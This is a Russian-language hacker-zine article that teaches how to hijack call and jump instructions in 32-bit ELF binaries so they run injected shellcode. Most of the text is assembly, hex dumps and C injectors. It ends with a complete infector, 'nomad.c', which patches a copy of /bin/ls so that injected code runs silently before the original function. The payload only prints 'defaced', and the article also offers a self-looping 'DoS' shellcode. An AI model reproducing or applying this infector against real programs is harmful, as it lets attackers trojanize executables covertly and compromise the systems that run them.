~ call's hookup ~

     Статья  изначально планировалась так - при ковырянии дампов бинарников под
  linux  были  найдены  интересные  опкоды  e8  00 00 00 00, тоесть пустые call
  инструкции. Ну и собственно их перехват осуществлялся. Дальше после написания
  нейро  дизассемблера,  начали  перехватывать  обычные  call-ы  и лонг-джампы.
  Собственно, об этом и стотья =) let's go

  [0] some intro infoz

     Немного  инфы  для  вступления.  Прыжки  (jmp,  джампы)  бывают короткие и
  длинные,  у  короткого джампа указывается всего один байт смещения. У длинных
  джампов и вызовов указывается 4 байта смещения. Притом прыжок или вызов может
  быть  как  вперёд,  так и назад. При прыжке/вызове вперёд указывается простое
  смещение от конца опкода до места прыжка. Пример:

  0x10: 0xe9 0x05 0x00 0x00 0x00    | прыжок +5 (вперёд на 5 байт)
  0x15: 0x90 <--- смещение начинает считаться отсюда, с конца инструкции прыжка
  0x16: 0x90
  0x17: 0x90
  0x18: 0x90
  0x19: 0x90
  0x1a: 0x40  <--- прыгаем сюда


    коды инструкций:

       0xe8 <4 байта для смещения>  - call
       0xe9 <4 байта для смещения>  - long jump

     При  прыжке/вызове  назад смещение считается от конца инструкции прыжка и
  берётся со знаком минус. Пример:

  0x10: 0x40 <-- прыгаем сюда
  0x11: 0x90
  0x12: 0x90
  0x12: 0x90
  0x13: 0x90
  0x14: 0xe8 0xf6 0xff 0xff 0xff    | прыжок -10 (назад на 5 байт)
  0x19: ..   <--- смещение считается отсюда

     Чтобы  прыгнуть  назад  на  5 байт нам нужно ещё перепрыгнуть через 5 байт
  самой  инструкции  прыжка/вызова, всего нам надо прыгнуть на -10 байт. Прыжок
  или  вызов  назад  на  -5  будет  указывать  в  начало этой же инструкции что
  приведёт  к  бесконечному  циклу.  Такой  вот  шеллкод  можно  юзать для DoS:
  "\xe8\xfb\xff\xff\xff".

     Вот  такие  пироги, надеюсь дальнейшее изложение станет понятнее благодаря
  этим примерам =)


  [1] null-call's hookup

  Перехват пустых вызовов. Ищем инструкции такого вида:

  e8 00 00 00 00      | call

     GCC  генерит  такие  пустые  вызовы  чтобы в стек клался eip, тобишь адрес
  возврата.  При  вызове инструкции call адрес возврата сохраняется в стеке. Но
  так как прыжка в функцию не происходит, eip так и остаётся лежать в стеке. Мы
  можем смело перехватывать такие инструкции следующим образом:

  1. в опкод вызова вписываем наш адрес для прыжка, скажем адрес секции .fini
  2. в нашем коде мы должны продублировать адрес возврата, это делается так:

   .fini:
     popl %edx  # load retaddr in edx
     push %edx
     push %edx

  3. собственно выполняем наш код, потом делаем ret. Всё как обычно.
  4. ещё неплохо бы, если используется стек сохранить и потом восстановить
     старый stack-pointer.

     в начале:
      push %ebp
      mov %esp, %ebp

     в конце:
      mov %ebp, %esp
      popl %ebp


     Для  примера перехвата пустых вызовов напишем вот такую софтинку (в данном
  случае   это  FreeBSD/x86,  под  Linux  всё  также  кроме  формата  системных
  вызовов):

.globl _start

_start:
  call ass

ass:
  popl %ecx
  xorl %eax,%eax
  push $1
  push %eax
  int $0x80

dumb:
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced

  Смотрим дамп:

./asm:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   e8 00 00 00 00          call   8048079 <ass>

08048079 <ass>:
 8048079:   59                      pop    %ecx
 804807a:   31 c0                   xor    %eax,%eax
 804807c:   6a 01                   push   $0x1
 804807e:   50                      push   %eax
 804807f:   cd 80                   int    $0x80

08048081 <dumb>:
 8048081:   68 ed ac ef 0d          push   $0xdefaced
 8048086:   68 ed ac ef 0d          push   $0xdefaced
 804808b:   68 ed ac ef 0d          push   $0xdefaced
 8048090:   68 ed ac ef 0d          push   $0xdefaced
 8048095:   68 ed ac ef 0d          push   $0xdefaced
 804809a:   68 ed ac ef 0d          push   $0xdefaced
 804809f:   68 ed ac ef 0d          push   $0xdefaced

     Идёт  пустой  вызов на ass, потом делаем pop %ecx - это для отладки, в нём
  будет  храниться  адрес <ass> (если всё хорошо). Далее делаем системный вызов
  exit().  У  нас  есть треш под меткой dumb, попробуем вписать туда свой код и
  сделать  чтобы он вызывался с помощью перехвата пустого вызова. Сперва глянем
  как  всё работает в исходном виде, заменим прерывание 0x80 на 0x82 например -
  суть  в  том  что  теперь  прога вывалится с сегфолтом. Запускаем через gdb и
  смотрим регистры:

  (gdb) run
  Starting program: /root/call/./asm

  Program received signal SIGBUS, Bus error.       - ибо мы юзаем int 0x82
  0x80487e in ass ()
  (gdb) info registers ecx
  ecx            0x8048079         134512761
  (gdb)

     Как  видно,  всё точно - после пустого вызова в стек кладётся адрес <ass>.
  Теперь пишем свой код, вшиваем его в dumb и перенаправляем на него вызов. Вот
  что получилось (код выводит "ABC\n" в stdout):

 8048074:   5a                      pop    %edx
 8048075:   52                      push   %edx
 8048076:   52                      push   %edx
 8048077:   55                      push   %ebp
 8048078:   89 e5                   mov    %esp,%ebp
 804807a:   31 c0                   xor    %eax,%eax
 804807c:   68 41 42 43 0a          push   $0xa434241
 8048081:   89 e3                   mov    %esp,%ebx
 8048083:   6a 04                   push   $0x4
 8048085:   53                      push   %ebx
 8048086:   6a 01                   push   $0x1
 8048088:   6a 04                   push   $0x4
 804808a:   50                      push   %eax
 804808b:   cd 80                   int    $0x80
 804808d:   89 ec                   mov    %ebp,%esp
 804808f:   5d                      pop    %ebp
 8048090:   c3                      ret

  Перегоним код в ascii шеллкод и напишем прогу для вшивания:

#include <stdio.h>
#include <fcntl.h>

#define CALL_ADDR 0x74
#define CODE_ADDR 0x81

char shellcode[] =
"\x5a\x52\x52\x55\x89\xe5\x31\xc0\x68\x41\x42\x43\x0a\x89"
"\xe3\x6a\x04\x53\x6a\x01\x6a\x04\x50\xcd\x80\x89\xec\x5d"
"\xc3";

int main()
{
    int fd, addr;

    fd = open("./asm", O_WRONLY);

    lseek(fd, CALL_ADDR+1, 0);
    addr = CODE_ADDR - CALL_ADDR - 5;
    write(fd, &addr, 4);

    lseek(fd, CODE_ADDR, 0);
    write(fd, &shellcode, 29);

    close(fd);
    return 0;
}

  Пробуем:

  # gcc -o inj inj.c
  # ./inj
  # ./asm
  ABC
  #

  Всё работает, теперь глянем дамп:

  # objdump -d ./asm

./asm:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   e8 08 00 00 00          call   8048081 <dumb>

08048079 <ass>:
 8048079:   59                      pop    %ecx
 804807a:   31 c0                   xor    %eax,%eax
 804807c:   6a 01                   push   $0x1
 804807e:   50                      push   %eax
 804807f:   cd 80                   int    $0x80

08048081 <dumb>:
 8048081:   5a                      pop    %edx
 8048082:   52                      push   %edx
 8048083:   52                      push   %edx
 8048084:   55                      push   %ebp
 8048085:   89 e5                   mov    %esp,%ebp
 8048087:   31 c0                   xor    %eax,%eax
 8048089:   68 41 42 43 0a          push   $0xa434241
 804808e:   89 e3                   mov    %esp,%ebx
 8048090:   6a 04                   push   $0x4
 8048092:   53                      push   %ebx
 8048093:   6a 01                   push   $0x1
 8048095:   6a 04                   push   $0x4
 8048097:   50                      push   %eax
 8048098:   cd 80                   int    $0x80
 804809a:   89 ec                   mov    %ebp,%esp
 804809c:   5d                      pop    %ebp
 804809d:   c3                      ret
 804809e:   0d 68 ed ac ef          or     $0xefaced68,%eax
 80480a3:   0d                      .byte 0xd


  Вобщем суть в том что внедряемый код надо упаковать вот так:

     0x5a                      pop    %edx
     0x52                      push   %edx
     0x52                      push   %edx
     0x55                      push   %ebp
     0x89 0xe5                 mov    %esp,%ebp

             < ТУТ КОД >

     0x89 0xec                 mov    %ebp,%esp
     0x5d                      pop    %ebp
     0xc3                      ret

     При  внедрении кода в fini, если нам нужно чтобы он исполнялся только один
  раз  из  вызова,  кладём  в  начало  секции  .fini  0xc3 (ret опкод) или код,
  вызывающий sys_exit() и в вызове указываем адрес за ним.



  [2] call's hookup

     Перехват  обычных  вызовов, для рассмотрения подобной атаки напишем пример
  аналогичный выше указанному :

.globl _start

_start:

  call sub

  xorl %eax,%eax
  push $1
  push %eax
  int $0x80

sub:
  push %ebp
  movl %esp, %ebp
  push $0x0a636261
  movl %esp, %ebx
  xorl %eax, %eax
  push $4
  push %ebx
  push $1
  push $4
  push %eax
  int $128
  movl %ebp, %esp
  popl %ebp
  ret

dumb:
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced
  push $0xdefaced

  Дамп такой:

./asm:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   e8 07 00 00 00          call   8048080 <sub>
 8048079:   31 c0                   xor    %eax,%eax
 804807b:   6a 01                   push   $0x1
 804807d:   50                      push   %eax
 804807e:   cd 80                   int    $0x80

08048080 <sub>:
 8048080:   55                      push   %ebp
 8048081:   89 e5                   mov    %esp,%ebp
 8048083:   68 61 62 63 0a          push   $0xa636261
 8048088:   89 e3                   mov    %esp,%ebx
 804808a:   31 c0                   xor    %eax,%eax
 804808c:   6a 04                   push   $0x4
 804808e:   53                      push   %ebx
 804808f:   6a 01                   push   $0x1
 8048091:   6a 04                   push   $0x4
 8048093:   50                      push   %eax
 8048094:   cd 80                   int    $0x80
 8048096:   89 ec                   mov    %ebp,%esp
 8048098:   5d                      pop    %ebp
 8048099:   c3                      ret

0804809a <dumb>:
 804809a:   68 ed ac ef 0d          push   $0xdefaced
 804809f:   68 ed ac ef 0d          push   $0xdefaced
 80480a4:   68 ed ac ef 0d          push   $0xdefaced
 80480a9:   68 ed ac ef 0d          push   $0xdefaced
 80480ae:   68 ed ac ef 0d          push   $0xdefaced
 80480b3:   68 ed ac ef 0d          push   $0xdefaced
 80480b8:   68 ed ac ef 0d          push   $0xdefaced
 80480bd:   68 ed ac ef 0d          push   $0xdefaced


     Функция  <sub> выводит "abc\n". Собственно попробуем перехватить её вызов,
  наш код будем хранить в <dumb>. В данном случае всё аналогично рассмотренному
  выше  случаю,  с  некоторыми  изменениями.  Код  будет "обёрнут" так (в конце
  вместо ret-a лонг джамп):

     0x55                      push   %ebp
     0x89 0xe5                 mov    %esp,%ebp

             < ТУТ КОД >

     0x89 0xec                 mov    %ebp,%esp
     0x5d                      pop    %ebp
     0xe9 <addr>               jmp

   <addr> - адрес прыжка для лонг-джампа чтобы попасть в sub. Пусть
    call_addr - адрес инструкции вызова, которую мы перехватываем, orig_addr -
    это относительный адрес по которому происходит прыжок в функцию (он
    указывается в самой инструкции вызова), а code_addr - адрес где лежит
    наш код. Тогда <addr> можно найти по простой формуле:

        <addr> = call_addr + orig_addr - (code_addr + shellcode_len - 1)

     shellcode_len  -  длина  нашего  внедряемого кода. Таким образом мы меняем
  смещение  у  инструкции  call,  и  она  вызывает  наш  код.  Сохраняем старый
  указатель   стека   и   гоняем   наш  код.  После  того  как  код  отработал,
  восстанавливаем  stack-pointer  и прыгаем лонг джампом в оригинальную функцию
  которую должен был вызвать перехваченный call. Так как мы сохраняли указатель
  на  стек и он не изменился, то после прыжка в <sub> она отработает как надо и
  вернёт  ret-ом управление  по  адресу  возврата  который  тоже  не изменился.
  Тоесть программа работает без видимых изменений )

  Вот такой получается код инфектора:

#include <stdio.h>
#include <fcntl.h>

#define CALL_ADDR 0x74
#define CODE_ADDR 0x9a

/*
    shellcode FreeBSD/x86:

    55                      push   %ebp
    89 e5                   mov    %esp,%ebp
    31 c0                   xor    %eax,%eax
    68 41 42 43 0a          push   $0xa434241
    89 e3                   mov    %esp,%ebx
    6a 04                   push   $0x4
    53                      push   %ebx
    6a 01                   push   $0x1
    6a 04                   push   $0x4
    50                      push   %eax
    cd 80                   int    $0x80
    89 ec                   mov    %ebp,%esp
    5d                      pop    %ebp
    e9                      jmp ...

    в конце шеллкода не указано смещения для инструкции прыжка, оно
    вписывается потом отдельно )
*/

char shellcode[] =
"\x55\x89\xe5\x31\xc0\x68\x41\x42\x43\x0a\x89\xe3"
"\x6a\x04\x53\x6a\x01\x6a\x04\x50\xcd\x80\x89\xec"
"\x5d\xe9";

int main()
{
    int fd;
    unsigned int o_addr, addr;

    fd = open("./asm", O_RDWR);

    // читаем старое смещение вызова
    lseek(fd, CALL_ADDR+1, 0);
    addr = CODE_ADDR - CALL_ADDR - 5;
    read(fd, &o_addr, 4);

    // вписываем своё, чтобы указывало на <dumb>
    lseek(fd, CALL_ADDR+1, 0);
    write(fd, &addr, 4);

    // вписываем шеллкод в <dumb>
    lseek(fd, CODE_ADDR, 0);
    write(fd, &shellcode, sizeof(shellcode)-1);

    // вычисляем адрес прыжка назад в <sub> и вписываем его после шеллкода
    addr = CALL_ADDR + o_addr - (sizeof(shellcode)-2 + CODE_ADDR);
    write(fd, &addr, 4);

    close(fd);
    return 0;
}

    # ./asm
    abc
    # gcc -o inj inj.c
    # ./inj
    # ./asm
    ABC
    abc
    #

     Как  видно из лога, всё отлично работает. Функция sub выводит "abc\n", наш
  код выводит "ABC\n". А вот дамп примера, где осуществлён перехват:

./asm:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   e8 21 00 00 00          call   804809a <dumb>
 8048079:   31 c0                   xor    %eax,%eax
 804807b:   6a 01                   push   $0x1
 804807d:   50                      push   %eax
 804807e:   cd 80                   int    $0x80

08048080 <sub>:
 8048080:   55                      push   %ebp
 8048081:   89 e5                   mov    %esp,%ebp
 8048083:   68 61 62 63 0a          push   $0xa636261
 8048088:   89 e3                   mov    %esp,%ebx
 804808a:   31 c0                   xor    %eax,%eax
 804808c:   6a 04                   push   $0x4
 804808e:   53                      push   %ebx
 804808f:   6a 01                   push   $0x1
 8048091:   6a 04                   push   $0x4
 8048093:   50                      push   %eax
 8048094:   cd 80                   int    $0x80
 8048096:   89 ec                   mov    %ebp,%esp
 8048098:   5d                      pop    %ebp
 8048099:   c3                      ret

0804809a <dumb>:
 804809a:   55                      push   %ebp
 804809b:   89 e5                   mov    %esp,%ebp
 804809d:   31 c0                   xor    %eax,%eax
 804809f:   68 41 42 43 0a          push   $0xa434241
 80480a4:   89 e3                   mov    %esp,%ebx
 80480a6:   6a 04                   push   $0x4
 80480a8:   53                      push   %ebx
 80480a9:   6a 01                   push   $0x1
 80480ab:   6a 04                   push   $0x4
 80480ad:   50                      push   %eax
 80480ae:   cd 80                   int    $0x80
 80480b0:   89 ec                   mov    %ebp,%esp
 80480b2:   5d                      pop    %ebp
 80480b3:   e9 c8 ff ff ff          jmp    8048080 <sub>
 80480b8:   68 ed ac ef 0d          push   $0xdefaced
 80480bd:   68 ed ac ef 0d          push   $0xdefaced
 80480c2:   89 f6                   mov    %esi,%esi

    Вот такие вот пироги )


   [3] long jumps hook

     Перехват  лонг  джампов  идентичен  перехвату  вызовов. Если при перехвате
  вызова  нам  нужно было заботиться о том, как вернуться назад, то при прыжках
  всё проще.


   [4] gone wild

     Теперь  попробуем  перехват  вызова на каком-нибудь рабочем бинарнике... В
  данном примере идёт инфецирование /bin/ls. Алгоритм такой:

     1. ищем .fini
       - через elf таблицы символьных секций
       - если облом то определяем ОС (linux или freebsd) и ищем через
         сигнатуры
     2. ищем нужный call()
     3. берём адрес старого вызова
     4. считаем новый адрес для прыжка в код, лежащий в .fini за вызовом
        exit().

     5. пишем в .fini наш код с высчитанным адресом возврата в оригинальную
        функцию.

   Вот что получилось:

/* nomad.c  - ELF call()'s hooker by defaced staff. */

#include <stdio.h>
#include <fcntl.h>
#include <elf.h>

struct x86_tbl_rec
{
    unsigned char op;
    unsigned char op2;
    unsigned char op3;
    unsigned int len:4;
};

#include "disasm.h"  // neiro-disassembler opcode datebase

#define CALL_SKIP     15     // infect 16-th call(), skip first 15

int fd;
Elf32_Ehdr h;

char shellcode[] =
"\x31\xc0\x6a\x01\x50\xcd\x80"  // exit() syscall
// hooked call lands here:
"\x55\x89\xe5"
"\x31\xc0\x68\x63\x65\x64\x0a\x68\x64\x65\x66\x61"
"\x89\xe3\x6a\x08\x53\x6a\x01\x6a\x04\x50\xcd\x80"
"\x89\xec\x5d\xe9";             // write(1, "defaced\n", 8)


unsigned char sig[] = "@(#) C";            // FreeBSD signature
unsigned char sig1[] = "\x83\xec\x04";     // Linux signature
unsigned char sig2[] = "\x5a\x5b\x5d\xc3";

#define SKIP2   0x10
#define BACK    0x07
#define BACK2   0x0a

int check_offs(int fd)
{
    unsigned char a;

    lseek(fd, SKIP2, 1);

    read(fd, &a, 1);
    if (a != sig2[0]) return 0;

    read(fd, &a, 1);
    if (a != sig2[1]) return 0;

    read(fd, &a, 1);
    if (a != sig2[2]) return 0;

    return 1;
}

int check_offs_bsd(int fd)
{
    unsigned int cnt;
    unsigned char a;

    lseek(fd, -7, 1);
    read(fd, &a, 1);

    for (cnt=0; cnt < 0xf000; cnt++)
    {
    if (a == 0xc3) break;
    lseek(fd, -2, 1);
    read(fd, &a, 1);
    }

    if (a != 0xc3) return 0;

    return 1;
}

/* find .fini via elf symbol section headers */
int get_fini_elf()
{
    int i;
    Elf32_Shdr sh;

    lseek(fd, h.e_shoff, 0);

    for (i=0; i < h.e_shnum; i++)
    {
    read(fd, &sh, sizeof(Elf32_Shdr));

    if (sh.sh_size == 0x06 || sh.sh_size == 0x1b)
        return sh.sh_offset;
    }

    return 0;
}

/* find .fini via signatures */
int get_fini_sig()
{
    int i, offs, os = 0;
    unsigned char a;

    // check for OS

    if (h.e_ident[7] == 0x03) os = 1;  // linux
    if (h.e_ident[7] == 0x09) os = 2;  // freebsd
    if (os == 0) return 0;

    i = offs = 0;

    // FreeBSD
    if (os == 2)
    {
    while( read(fd, &a, 1) == 1)
    {
        offs++;

        if (a == sig[i]) i++;
        else i = 0;

        if (i == 6) break;
    }

    if (i != 6 || !check_offs_bsd(fd)) return 0;
    offs -= BACK2;

    } else {

    while( read(fd, &a, 1) == 1)
    {
        offs++;

        if (a == sig1[i]) i++;
        else i = 0;

        if (i == 3)
        {
        if (check_offs(fd)) break;
        offs += 17;
        i = 0;
        }
    }

    if (i != 3) return 0;
    offs -= BACK;
    }

    return offs;
}

int main(int argc, char *argv[])
{
    int i, call_cnt = 0;
    unsigned int disp, o_addr, fini, addr, offs=0;
    unsigned char a,b;

    if (argc < 2)
    {
    printf("usage: %s <file>\n", argv[0]);
    return 0;
    }

    fd = open(argv[1], O_RDWR);
    read(fd, &h, sizeof(Elf32_Ehdr));

    if (h.e_entry < 0x8048010)
    {
    printf("[-] bad entry point, is it lib?\n");
    return 0;
    }

    printf("[+] get fini via ELF\n");
    fini = get_fini_elf();
    if (fini == 0)
    {
        printf("[+] nope, get fini via signature\n");
    fini = get_fini_sig();
    }

    if (fini == 0)
    {
    printf("[-] cant find .fini section\n");
    return 0;
    }

    printf("[+] fini = 0x%x (0x%x)\n", fini, fini+0x8048000);

    offs = h.e_entry - 0x8048000;
    lseek(fd, offs, 0);

    while( read(fd, &a, 1) == 1)
    {
    if (a == 0)
    {
        read(fd, &b, 1);
        if (b == 0) break;
        lseek(fd, -1, 1);
    }

    for (i=0; i < sizeof(opcode_lst)/sizeof(struct x86_tbl_rec); i++)
    {
        if (opcode_lst[i].op != a) continue;

        if (opcode_lst[i].op2 != 0)
        {
        read(fd, &b, 1);
        lseek(fd, -1, 1);

        if (opcode_lst[i].op2 != b) continue;
        }

        if (opcode_lst[i].op2 != 0 && opcode_lst[i].op3 != 0)
        {
        lseek(fd, 1, 1);
        read(fd, &b, 1);
        lseek(fd, -2, 1);

        if (opcode_lst[i].op3 != b) continue;
        }

        lseek(fd, opcode_lst[i].len-1, 1);

        if (opcode_lst[i].op == 0xe8)
        {
        if (call_cnt <= CALL_SKIP) call_cnt++;
        else i = sizeof(opcode_lst)/sizeof(struct x86_tbl_rec);
        }

        offs += opcode_lst[i].len-1;

        break;
    }

        offs++;

    if (i == sizeof(opcode_lst)/sizeof(struct x86_tbl_rec))
        break;
    }

    if (offs <= (h.e_entry - 0x8048000))
    {
    printf("[-] cant find call()'s\n");
        return 0;
    }

    printf("[+] got call() to infect (0x%x) (0x%x)\n",
    offs, offs+0x8048000);

    /* fixup call() instruction */

    lseek(fd, offs+1, 0);
    read(fd, &o_addr, 4);
    lseek(fd, -4, 1);
    addr = fini + 7 - offs - 5;
    write(fd, &addr, 4);

    lseek(fd, fini, 0);
    write(fd, &shellcode, sizeof(shellcode)-1);
    addr = offs + o_addr - (sizeof(shellcode)-2 + fini);
    write(fd, &addr, 4);

    close(fd);
    return 0;
}

     Тестируем:

     # gcc -o nomad nomad.c
     # cp /bin/ls ./ls
     # ./ls
     asm    asm.o   disasm.h   ls   nomad   nomad.c
     # ./nomad ./ls
     [+] get fini via ELF
     [+] fini = 0x3bc8 (0x804bbc8)
     [+] got call() to infect (0x126a) (0x804926a)
     # ./ls
     defaced
     asm    asm.o   disasm.h   ls   nomad   nomad.c
     # cp /bin/ls ./ls
     # ./ls
     asm    asm.o   disasm.h   ls   nomad   nomad.c
     # sstrip ./ls
     # ./nomad ./ls
     [+] get fini via ELF
     [+] nope, get fini via signature
     [+] fini = 0x3bfc (0x804bbfc)
     [+] got call() to infect (0x126a) (0x804926a)
     # ./ls
     defaced
     asm    asm.o   disasm.h   ls   nomad   nomad.c
     #

     Как  видно  из  примера,  инфецирование  удалось =) Исходник nomad лежит в
  инклудах, так что ковыряйтесь & have fun.